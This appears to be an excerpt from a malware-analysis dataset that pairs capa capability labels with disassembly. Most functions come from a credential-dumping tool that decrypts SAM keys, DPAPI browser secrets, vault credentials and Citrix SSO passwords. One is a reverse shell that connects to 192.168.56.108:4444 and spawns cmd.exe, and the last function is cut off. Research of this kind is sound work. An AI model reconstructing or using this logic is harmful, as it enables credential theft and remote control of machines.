joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18008cb98
Capabilities:
Encrypt or decrypt data via bcrypt

Disassembly:
mov rax, rsp
mov qword [rax + 8], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x47]
sub rsp, 0xc0
mov esi, edx
mov r14, r9
mov rdi, rcx
cmp edx, 3
jb 0x18008ccd7
movzx eax, word [rcx]
cmp ax, word [0x1800f9394]
jne 0x18008ccd7
mov al, byte [rcx + 2]
cmp al, byte [str.0out_of_memory]
jne 0x18008ccd7
test r8, r8
je 0x18008ccc9
test r9, r9
je 0x18008ccc9
lea rcx, str.__using_BCrypt_with_AES_256_GCM_n
call fcn.18000bdb8
xor edx, edx
lea rcx, [rbp - 0x21]
lea r8d, [rdx + 0x58]
call fcn.1800c5480
lea rax, [rdi + 3]
mov dword [rbp - 0x21], reloc.WLDAP32.dll_Ordinal_88
mov qword [rbp - 0x19], rax
lea rcx, [rdi - 0x10]
add rcx, rsi
mov dword [rbp - 0x1d], 1
lea eax, [rsi - 0x1f]
mov qword [rbp + 7], rcx
mov edx, eax
mov ecx, 0x40
mov dword [rbp - 0x11], reloc.WLDAP32.dll_Ordinal_12
mov dword [rbp + 0xf], 0x10
mov dword [rbp + 0x57], eax
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rdi, rax
test rax, rax
je 0x18008cd37
and dword [rsp + 0x48], 0
lea rax, [rbp + 0x57]
mov r8d, dword [rbp + 0x57]
lea r9, [rbp - 0x21]
mov edx, dword [rbp - 0x11]
mov rcx, r14
add rdx, qword [rbp - 0x19]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], r8d
mov qword [rsp + 0x30], rdi
and dword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
call qword [sym.imp.bcrypt.dll_BCryptDecrypt]
test eax, eax
js 0x18008ccb6
mov r8d, dword [rbp + 0x57]
lea rcx, str._s:__.S_n
mov rdx, qword [rbp + 0x7f]
mov r9, rdi
call fcn.18000bdb8
jmp 0x18008ccc4
mov edx, eax
lea rcx, str.ERROR_kuhl_m_dpapi_chrome_decrypt___BCryptDecrypt:_0x_08x_n
call fcn.18000bdb8
mov rcx, rdi
jmp 0x18008cd31
lea rcx, str.ERROR_kuhl_m_dpapi_chrome_decrypt___No_Alg_and_or_Key_handle_despite_AES_encryption_n
call fcn.18000bdb8
jmp 0x18008cd37
and qword [rsp + 0x48], 0
lea rax, [rbp + 0x57]
mov r9d, dword [rbp + 0x6f]
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov edx, esi
lea rax, [rbp - 0x31]
mov qword [rsp + 0x38], rax
and dword [rsp + 0x30], 0
mov rax, qword [rbp + 0x77]
and qword [rsp + 0x28], 0
mov qword [rsp + 0x20], rax
call fcn.18008ae3c
test eax, eax
je 0x18008cd37
mov r9, qword [rbp - 0x31]
lea rcx, str._s:__.S_n
mov r8d, dword [rbp + 0x57]
mov rdx, qword [rbp + 0x7f]
call fcn.18000bdb8
mov rcx, qword [rbp - 0x31]
call qword [sym.imp.KERNEL32.dll_LocalFree]
lea r11, [rsp + 0xc0]
mov rsi, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x18009b77c
Capabilities:
Accept command line arguments

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
xor r12d, r12d
lea rdx, [rax + 0x10]
mov ebx, r12d
mov rsi, rcx
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov r15, rax
test rax, rax
je 0x18009b849
cmp dword [rsp + 0x58], r12d
jle 0x18009b849
movzx edi, r12w
lea r13, [0x1800fa650]
cmp di, 0x13
jae 0x18009b826
mov rcx, qword [r15]
movzx r14d, di
shl r14, 5
mov rdx, qword [r14 + r13 + 0x10]
call fcn.1800ca060
test eax, eax
mov ebp, r12d
sete bpl
test eax, eax
jne 0x18009b81d
mov rax, qword [r14 + r13]
test rax, rax
je 0x18009b80e
mov ecx, dword [rsp + 0x58]
lea rdx, [r15 + 8]
dec ecx
call rax
mov ebx, eax
jmp 0x18009b81d
mov ecx, dword [r14 + r13 + 8]
xor r8d, r8d
xor edx, edx
call fcn.18000a390
inc di
test ebp, ebp
je 0x18009b7cd
jmp 0x18009b849
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], r12w
jne 0x18009b82a
lea r8d, [rax*2 + 2]
mov rdx, rsi
mov ecx, 0x22c003
call fcn.18000a390
mov rbp, qword [rsp + 0x60]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x68]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x18009d318
Capabilities:
Encrypt data using rc4 via systemfunction033

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xe0
mov rdi, rcx
mov qword [rbp - 0x49], r9
lea rax, [rbp + 0x1f]
xor esi, esi
lea rcx, str._nSAMKey_:
mov qword [rbp - 0x59], rax
mov r14, r9
mov r15, r8
mov rbx, rdx
lea r12d, [rsi + 0x10]
mov dword [rbp - 0x61], r12d
mov dword [rbp - 0x5d], r12d
mov dword [rbp - 0x51], r12d
mov dword [rbp - 0x4d], r12d
call fcn.18000bdb8
and qword [rsp + 0x30], rsi
lea rax, [rbp - 0x69]
lea r9, [0x18012e960]
mov qword [rsp + 0x28], rax
xor r8d, r8d
mov rdx, rbx
mov rcx, rdi
call fcn.18000eef4
test eax, eax
je 0x18009d4d9
mov rbx, qword [rbp - 0x69]
movzx edx, word [rbx]
mov ecx, edx
sub ecx, 2
je 0x18009d3b7
cmp ecx, 1
je 0x18009d3b7
lea rcx, str.ERROR_kuhl_m_lsadump_getSamKey___Unknow_F_revision___hu_
jmp 0x18009d3cd
mov edx, dword [rbx + 0x68]
mov eax, edx
sub eax, 1
je 0x18009d429
cmp eax, 1
je 0x18009d3d7
lea rcx, str.ERROR_kuhl_m_lsadump_getSamKey___Unknow_Struct_Key_revision___u_
call fcn.18000bdb8
jmp 0x18009d4bc
mov r9d, dword [rbx + 0x74]
lea rax, [rbp + 0x7f]
mov qword [rsp + 0x28], rax
lea r8, [rbx + 0x88]
lea rax, [rbp - 0x69]
mov rcx, r15
lea rdx, [rbx + 0x78]
mov qword [rsp + 0x20], rax
call fcn.180004a80
test eax, eax
je 0x18009d4bc
cmp dword [rbp + 0x7f], r12d
mov rcx, qword [rbp - 0x69]
sete sil
jne 0x18009d41e
movups xmm0, xmmword [rcx]
movdqu xmmword [r14], xmm0
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x18009d4bc
lea rcx, [rbp - 0x39]
call qword [sym.imp.cryptdll.dll_MD5Init]
lea rdx, [rbx + 0x70]
mov r8d, r12d
lea rcx, [rbp - 0x39]
call qword [sym.imp.cryptdll.dll_MD5Update]
mov r8d, 0x2f
lea rdx, str.______qwertyUIOPAzxcvbnmQQQQQQQQQQQQ____
lea rcx, [rbp - 0x39]
call qword [sym.imp.cryptdll.dll_MD5Update]
mov r8d, r12d
lea rcx, [rbp - 0x39]
mov rdx, r15
call qword [sym.imp.cryptdll.dll_MD5Update]
mov r8d, reloc.WLDAP32.dll_Ordinal_41
lea rdx, str.0123456789012345678901234567890123456789
lea rcx, [rbp - 0x39]
call qword [sym.imp.cryptdll.dll_MD5Update]
lea rcx, [rbp - 0x39]
call qword [sym.imp.cryptdll.dll_MD5Final]
movups xmm0, xmmword [rbx + 0x80]
lea rdx, [rbp - 0x61]
lea rcx, [rbp - 0x51]
movdqu xmmword [r14], xmm0
call qword [sym.imp.ADVAPI32.dll_SystemFunction033]
test eax, eax
setns sil
test eax, eax
jns 0x18009d4bc
lea rcx, str.ERROR_kuhl_m_lsadump_getSamKey___RtlDecryptData2_KO
call fcn.18000bdb8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
test esi, esi
je 0x18009d4e5
xor r8d, r8d
mov edx, r12d
mov rcx, r14
call fcn.180012a78
jmp 0x18009d4e5
lea rcx, str.ERROR_kuhl_m_lsadump_getSamKey___kull_m_registry_OpenAndQueryWithAlloc_KO
call fcn.18000bdb8
lea rcx, reloc.Cabinet.dll_FCICreate
call fcn.18000bdb8
lea r11, [rsp + 0xe0]
mov eax, esi
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
Function at 0x1800aac84
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
movzx eax, r8w
mov r11, r9
movzx r10d, dl
xor r9b, r9b
shl r10d, 0x10
mov rsi, rcx
or r10d, eax
movabs rax, 0x2004000000
lea edi, [r10 + r10]
xor r10b, r10b
or rdi, rax
xor r8b, r8b
movzx edx, r8b
mov rax, rdi
inc r8b
lea ecx, [rdx + 0xd]
shr rax, cl
lea ecx, [rdx + 1]
and al, 1
xor r10b, al
mov rax, rdi
shr rax, cl
and al, 1
xor r9b, al
cmp r8b, 0xc
jb 0x1800aacc2
xor eax, eax
movzx ecx, r10b
and ecx, 1
shl rcx, 0x19
test r9b, r9b
sete al
or rcx, rax
or rdi, rcx
test r11, r11
je 0x1800aad0c
mov qword [r11], rdi
mov rcx, rdi
mov dword [rsi], 0x90625062
shr rcx, 0x28
call fcn.1800aac4c
movzx ebx, al
mov rcx, rdi
or ebx, 0x1d00
shr rcx, 0x24
shl ebx, 8
call fcn.1800aac4c
movzx eax, al
mov rcx, rdi
or ebx, eax
shr rcx, 0x20
shl ebx, 8
call fcn.1800aac4c
movzx eax, al
mov rcx, rdi
or ebx, eax
shr rcx, 0x1c
mov dword [rsi + 4], ebx
call fcn.1800aac4c
movzx ebx, al
mov rcx, rdi
shr rcx, 0x18
shl ebx, 8
call fcn.1800aac4c
movzx eax, al
mov rcx, rdi
or ebx, eax
shr rcx, 0x14
shl ebx, 8
call fcn.1800aac4c
movzx eax, al
mov rcx, rdi
or ebx, eax
shr rcx, 0x10
shl ebx, 8
call fcn.1800aac4c
movzx eax, al
mov rcx, rdi
or ebx, eax
shr rcx, 0xc
mov dword [rsi + 8], ebx
call fcn.1800aac4c
movzx ebx, al
mov rcx, rdi
shr rcx, 8
shl ebx, 8
call fcn.1800aac4c
movzx eax, al
mov rcx, rdi
or ebx, eax
shr rcx, 4
shl ebx, 8
call fcn.1800aac4c
movzx eax, al
mov cl, dil
or ebx, eax
shl ebx, 8
call fcn.1800aac4c
movzx eax, al
or ebx, eax
mov dword [rsi + 0xc], ebx
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x1800aadfc
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
and dword [rax + 8], 0
mov rdi, rdx
xor r10b, r10b
mov r11, rcx
movabs r8, 0xff80000000000000
movzx esi, r10b
lea rdx, [rsp + 8]
mov ecx, 9
mov r9, rdi
sub ecx, esi
shl ecx, 2
shr r9, cl
xor cl, cl
and r9b, 0xf
xor bl, bl
mov al, r9b
shr al, cl
inc cl
and al, 1
xor byte [rdx], al
xor bl, al
inc rdx
cmp cl, 4
jb 0x1800aae43
imul eax, esi, 0xfffffffb
inc r10b
movzx edx, bl
lea ecx, [rax + 0x32]
shl rdx, cl
lea ecx, [rax + 0x33]
movzx eax, r9b
shl rax, cl
or rdx, rax
or r8, rdx
cmp r10b, 0xa
jb 0x1800aae22
movzx eax, byte [rsp + 0xa]
movzx ecx, byte [rsp + 0xb]
mov rbx, qword [rsp + 0x10]
add ecx, ecx
mov rsi, qword [rsp + 0x18]
or ecx, eax
movzx eax, byte [rsp + 9]
add ecx, ecx
mov rdi, qword [rsp + 0x20]
or ecx, eax
movzx eax, byte [rsp + 8]
add ecx, ecx
or ecx, eax
mov dword [r11], 0x148040
lea eax, [rcx + rcx]
or r8, rax
mov rax, r8
mov dword [r11 + 8], r8d
shr rax, 0x20
mov dword [r11 + 4], eax
ret
Function at 0x1800b1340
Capabilities:
Encrypt data using dpapi

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x70
mov rbx, rcx
lea rdx, str.Microsoft_WinInet_
mov rcx, qword [rcx + 8]
call fcn.1800c4e94
test rax, rax
je 0x1800b13ef
mov edx, dword [rbx + 0x20]
cmp edx, 0x14
jb 0x1800b1562
mov rcx, qword [rbx + 0x28]
mov rax, qword [rcx + 4]
cmp rax, qword [0x1800f04d0]
jne 0x1800b1562
mov rax, qword [rcx + 0xc]
cmp rax, qword [0x1800f04d8]
jne 0x1800b1562
lea rax, [0x1800ef5b0]
mov dword [rbp - 0x20], edx
mov qword [rbp - 8], rax
lea r8, [rbp - 0x10]
lea rax, [rbp - 0x30]
mov qword [rbp - 0x18], rcx
mov qword [rsp + 0x30], rax
lea rcx, [rbp - 0x20]
and dword [rsp + 0x28], 0
xor r9d, r9d
and qword [rsp + 0x20], 0
xor edx, edx
mov dword [rbp - 0x10], SQLSetEnvAttr
call qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x1800b154e
lea rcx, str.___CredentialBlob:
jmp 0x1800b1525
mov rcx, qword [rbx + 8]
lea rdx, str.AppSense_DataNow_
call fcn.1800c4e94
test rax, rax
je 0x1800b1562
lea rcx, str._Ivanti_FileDirector_credential_blob__n
call fcn.18000bdb8
cmp dword [rbx + 0x20], 0x14
jb 0x1800b1562
mov rbx, qword [rbx + 0x28]
lea rcx, str.AppN_DN_Win
mov rdx, rbx
call fcn.1800e4080
test eax, eax
jne 0x1800b1562
cmp dword [rbx + 0xc], eax
je 0x1800b14ca
lea rcx, str.Decrypting_additional_blob_n
call fcn.18000bdb8
mov eax, dword [rbx + 0xc]
lea rcx, [rbp - 0x20]
mov dword [rbp - 0x20], eax
xor r9d, r9d
lea rax, [rbx + 0x14]
xor r8d, r8d
mov qword [rbp - 0x18], rax
xor edx, edx
lea rax, [rbp - 0x30]
mov qword [rsp + 0x30], rax
and dword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
call qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x1800b14b6
lea rcx, str.___CredentialBlob:
call fcn.18000bdb8
mov edx, dword [rbp - 0x30]
mov rcx, qword [rbp - 0x28]
call fcn.18001279c
lea rcx, reloc.Cabinet.dll_FCICreate
call fcn.18000bdb8
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x1800b14ca
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR_kuhl_m_vault_cred_tryEncrypted___CryptUnprotectData__0x_08x__n
call fcn.18000bdb8
cmp dword [rbx + 0x10], 0
je 0x1800b1562
lea rcx, str.Decrypting_additional_blob_n
call fcn.18000bdb8
mov eax, dword [rbx + 0x10]
lea rcx, [rbx + 0x14]
mov dword [rbp - 0x20], eax
xor r9d, r9d
mov eax, dword [rbx + 0xc]
xor r8d, r8d
add rcx, rax
xor edx, edx
lea rax, [rbp - 0x30]
mov qword [rbp - 0x18], rcx
mov qword [rsp + 0x30], rax
lea rcx, [rbp - 0x20]
and dword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
call qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x1800b154e
lea rcx, str.___UnkBlob_______:
call fcn.18000bdb8
mov edx, dword [rbp - 0x30]
mov rcx, qword [rbp - 0x28]
call fcn.18001279c
lea rcx, reloc.Cabinet.dll_FCICreate
call fcn.18000bdb8
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x1800b1562
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR_kuhl_m_vault_cred_tryEncrypted___CryptUnprotectData__0x_08x__n
call fcn.18000bdb8
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rbp
ret
Function at 0x1800b96c4
Capabilities:
Accept command line arguments

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x18], rbp
mov qword [r11 + 0x20], rsi
push rdi
sub rsp, 0x20
mov rax, rdx
mov rbp, rcx
lea rdx, [r11 + 0x10]
mov rcx, qword [rax + 8]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov rdi, rax
test rax, rax
je 0x1800b9773
mov eax, dword [rsp + 0x38]
test eax, eax
jle 0x1800b975c
xor ebx, ebx
test eax, eax
jle 0x1800b9753
mov rsi, rdi
mov rcx, qword [rsi]
lea rdx, str._HTC:
mov r8d, 5
call fcn.1800d4e20
test eax, eax
je 0x1800b972c
inc ebx
add rsi, 8
cmp ebx, dword [rsp + 0x38]
jl 0x1800b9705
jmp 0x1800b9753
movsxd rax, ebx
xor edx, edx
mov rcx, qword [rdi + rax*8]
lea r8d, [rdx + 0xa]
add rcx, 0xa
call fcn.1800cbff8
mov edx, eax
mov rcx, rbp
mov ebx, eax
call fcn.1800b979c
test rbx, rbx
jne 0x1800b9768
lea rcx, str.__No_shared_memory__no_SSO_enabled___n
jmp 0x1800b9763
lea rcx, str.ERROR_Citrix_SSO_Program_args___No_command_module_
call fcn.18000bdb8
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x1800b9787
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR_Citrix_SSO_Program_args___CommandLineToArgvW__0x_08x__n
call fcn.18000bdb8
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x1800b979c
Capabilities:
Encode data using xor
Encrypt data using dpapi
Read file via mapping

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
mov rbx, rdx
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor esi, esi
lea r9, [rsp + 0x60]
mov dword [rsp + 0x30], esi
mov r8, rax
mov dword [rsp + 0x28], esi
mov rdx, rbx
mov rcx, rdi
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x1800b98f1
mov rcx, qword [rsp + 0x60]
lea edx, [rsi + 4]
xor r9d, r9d
mov qword [rsp + 0x20], 0x61c
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rdi, rax
test rax, rax
je 0x1800b98d0
mov edx, 0x610
lea ecx, [rsi + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
test rax, rax
je 0x1800b98c5
mov rcx, rax
lea rdx, [rdi + 0xc]
mov r8d, 0x610
call fcn.1800c58e0
mov edx, 0x610
lea r8d, [rsi + 1]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_SystemFunction041]
test eax, eax
jne 0x1800b98ae
mov r9d, dword [rbx + 0x400]
lea r10, [rbx + 0x404]
test r9d, r9d
je 0x1800b9887
mov rdx, r10
mov r8d, r9d
mov cl, byte [rdx]
mov al, cl
xor al, sil
mov sil, cl
xor al, 0x43
mov byte [rdx], al
inc rdx
sub r8, 1
jne 0x1800b9869
mov r9d, dword [rbx + 0x400]
mov eax, dword [rbx + 0x604]
lea r8, [rbx + 0x200]
mov dword [rsp + 0x28], eax
lea rcx, str._Username__:__s_n_Domain____:__s_n_Password__:__.s_n_flags_type:_0x_08x_n
mov rdx, rbx
mov qword [rsp + 0x20], r10
call fcn.18000bdb8
jmp 0x1800b98bc
mov edx, eax
lea rcx, str.ERROR_Citrix_SSO_Program_FileMapping___RtlDecryptMemory:_0x_08x_n
call fcn.18000bdb8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
jmp 0x1800b98e4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR_Citrix_SSO_Program_FileMapping___MapViewOfFile__0x_08x__n
call fcn.18000bdb8
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1800b9905
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR_Citrix_SSO_Program_FileMapping___DuplicateHandle__0x_08x__n
call fcn.18000bdb8
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
Function at 0x1800c0648
Capabilities:
Get file size
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
push rbp
push rsi
push rdi
push r12
push r14
sub rsp, 0x40
xor ebp, ebp
xor r9d, r9d
and qword [rax - 0x38], rbp
mov edx, 0x80000000
and dword [rax - 0x40], ebp
lea r8d, [rbp + 3]
mov dword [rax - 0x48], r8d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x1800c078c
lea rdx, [rsp + 0x80]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1800c076d
mov r12d, 0x10000000
lea ecx, [rbp + 0x40]
mov edx, r12d
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rdi, rax
test rax, rax
je 0x1800c0781
mov rax, qword [rsp + 0x80]
xor ecx, ecx
test rax, rax
jle 0x1800c0762
lea r14, [rcx + 0x10000000]
mov rbx, rax
sub rbx, rcx
mov rdx, rcx
cmp r14, rax
mov rcx, rsi
cmovl rbx, r12
xor r9d, r9d
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x1800c073a
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x78]
mov r8d, ebx
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1800c072b
mov edx, dword [rsp + 0x78]
mov rcx, rdi
call fcn.1800c0540
add ebp, eax
jmp 0x1800c074e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.ERROR_kuhl_m_sekurlsa_sk_search_file___ReadFile__0x_08x__n
jmp 0x1800c0747
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.ERROR_kuhl_m_sekurlsa_sk_search_file___SetFilePointerEx__0x_08x__n
mov edx, eax
call fcn.18000bdb8
mov rax, qword [rsp + 0x80]
mov rcx, r14
cmp r14, rax
jl 0x1800c06d3
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x1800c0781
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR_kuhl_m_sekurlsa_sk_search_file___GetFileSizeEx__0x_08x__n
call fcn.18000bdb8
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1800c07a0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR_kuhl_m_sekurlsa_sk_search_file___CreateFile__0x_08x__n
call fcn.18000bdb8
mov rbx, qword [rsp + 0x70]
mov eax, ebp
add rsp, 0x40
pop r14
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140001070
Capabilities:
Connect socket
Create process on windows
Initialize winsock library
Resolve dns

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x3f0
xor edi, edi
lea esi, [rdi + 2]
nop word [rax + rax]
mov ecx, 0x202
lea rdx, [rsp + 0x250]
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor r9d, r9d
mov dword [rsp + 0x28], edi
mov ecx, esi
mov dword [rsp + 0x20], edi
lea edx, [r9 + 1]
lea r8d, [r9 + 6]
call qword [sym.imp.WS2_32.dll_WSASocketW]
lea rcx, str.192.168.56.108
mov rbx, rax
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
jne 0x1400010ec
lea rcx, str.Host_not_found._Retrying_in_5_seconds..._n
call fcn.140001010
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001090
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
mov ecx, dword [rcx]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov edx, 0x10
lea rcx, str.192.168.56.108
mov r8, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
lea rcx, str.4444
mov word [0x1400041a8], si
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov ecx, eax
call qword [sym.imp.WS2_32.dll_htons]
lea rcx, str.192.168.56.108
mov word [0x1400041aa], ax
call qword [sym.imp.WS2_32.dll_inet_addr]
xor r9d, r9d
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdi
lea rdx, [0x1400041a8]
mov rcx, rbx
mov dword [0x1400041ac], eax
mov qword [rsp + 0x20], rdi
lea r8d, [r9 + 0x10]
call qword [sym.imp.WS2_32.dll_WSAConnect]
cmp eax, 0xffffffff
jne 0x14000117d
lea rcx, str.Connection_failed._Retrying_in_5_seconds..._n
jmp 0x1400010da
xorps xmm0, xmm0
mov qword [0x1400041a0], rbx
movups xmmword [0x140004190], xmm0
xor edx, edx
mov r8d, 0x1ee
movups xmmword [0x140004140], xmm0
lea rcx, [rsp + 0x60]
mov dword [0x140004140], 0x68
movups xmmword [0x140004170], xmm0
mov dword [0x14000417c], 0x100
movups xmmword [0x140004150], xmm0
mov qword [0x140004198], rbx
movups xmmword [0x140004160], xmm0
mov qword [0x140004190], rbx
movups xmmword [0x140004180], xmm0
movups xmm0, xmmword [str.cmd.exe]
movaps xmmword [rsp + 0x50], xmm0
call sub.VCRUNTIME140.dll_memset
lea rax, [0x140004120]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0x50]
lea rax, [0x140004140]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
lea r11, [rsp + 0x3f0]
xor eax, eax
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret

Function at 0x140001974
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400019be
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400019be
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400019be
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400019be
cmp dword [rcx + 0x84], 0xe
jbe 0x1400019be
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400019c0
xor al, al
add rsp, 0x28
ret
Function at 0x180052e48
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov qword [rax + 8], rcx
push r14
sub rsp, 0x60
and dword [rax - 0x48], 0
mov rdi, rcx
mov r8d, dword [0x1802c570c]
mov sil, dl
movaps xmmword [rax - 0x18], xmm6
movss xmm6, dword [0x180046294]
mov dword [rax - 0x40], 0xff
mov rax, qword gs:[0x58]
mov ecx, 4
mov rax, qword [rax + r8*8]
mov eax, dword [rcx + rax]
cmp dword [0x1802eb900], eax
jg 0x180053019
movabs rbx, 0xcbf29ce484222325
xor edx, edx
mov rcx, rbx
movabs r14, 0x100000001b3
movzx eax, byte [rsp + rdx + 0x70]
inc rdx
xor rcx, rax
imul rcx, r14
cmp rdx, 8
jb 0x180052ebf
mov rax, qword [0x1802eb8f0]
mov rdx, qword [0x1802eb8d8]
and rax, rcx
mov r9, qword [0x1802eb8c8]
add rax, rax
mov rcx, qword [rdx + rax*8 + 8]
cmp rcx, r9
je 0x180052f10
mov r8, qword [rdx + rax*8]
jmp 0x180052f08
cmp rcx, r8
je 0x180052f10
mov rcx, qword [rcx + 8]
cmp rdi, qword [rcx + 0x10]
jne 0x180052eff
jmp 0x180052f12
xor ecx, ecx
test rcx, rcx
mov rax, r9
cmovne rax, rcx
cmp rax, r9
jne 0x180052f93
and dword [rsp + 0x38], 0
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x40]
mov qword [rsp + 0x30], rdi
call fcn.1800537a4
xor ecx, ecx
movzx eax, byte [rsp + rcx + 0x70]
inc rcx
xor rbx, rax
imul rbx, r14
cmp rcx, 8
jb 0x180052f3c
and rbx, qword [0x1802eb8f0]
mov rdx, qword [0x1802eb8d8]
add rbx, rbx
mov rax, qword [0x1802eb8c8]
mov rcx, qword [rdx + rbx*8 + 8]
cmp rcx, rax
je 0x180052f8a
mov r8, qword [rdx + rbx*8]
jmp 0x180052f82
cmp rcx, r8
je 0x180052f8a
mov rcx, qword [rcx + 8]
cmp rdi, qword [rcx + 0x10]
jne 0x180052f79
jmp 0x180052f8c
xor ecx, ecx
test rcx, rcx
cmovne rax, rcx
mov rcx, qword [0x1802c6060]
lea r8, [rax + 0x18]
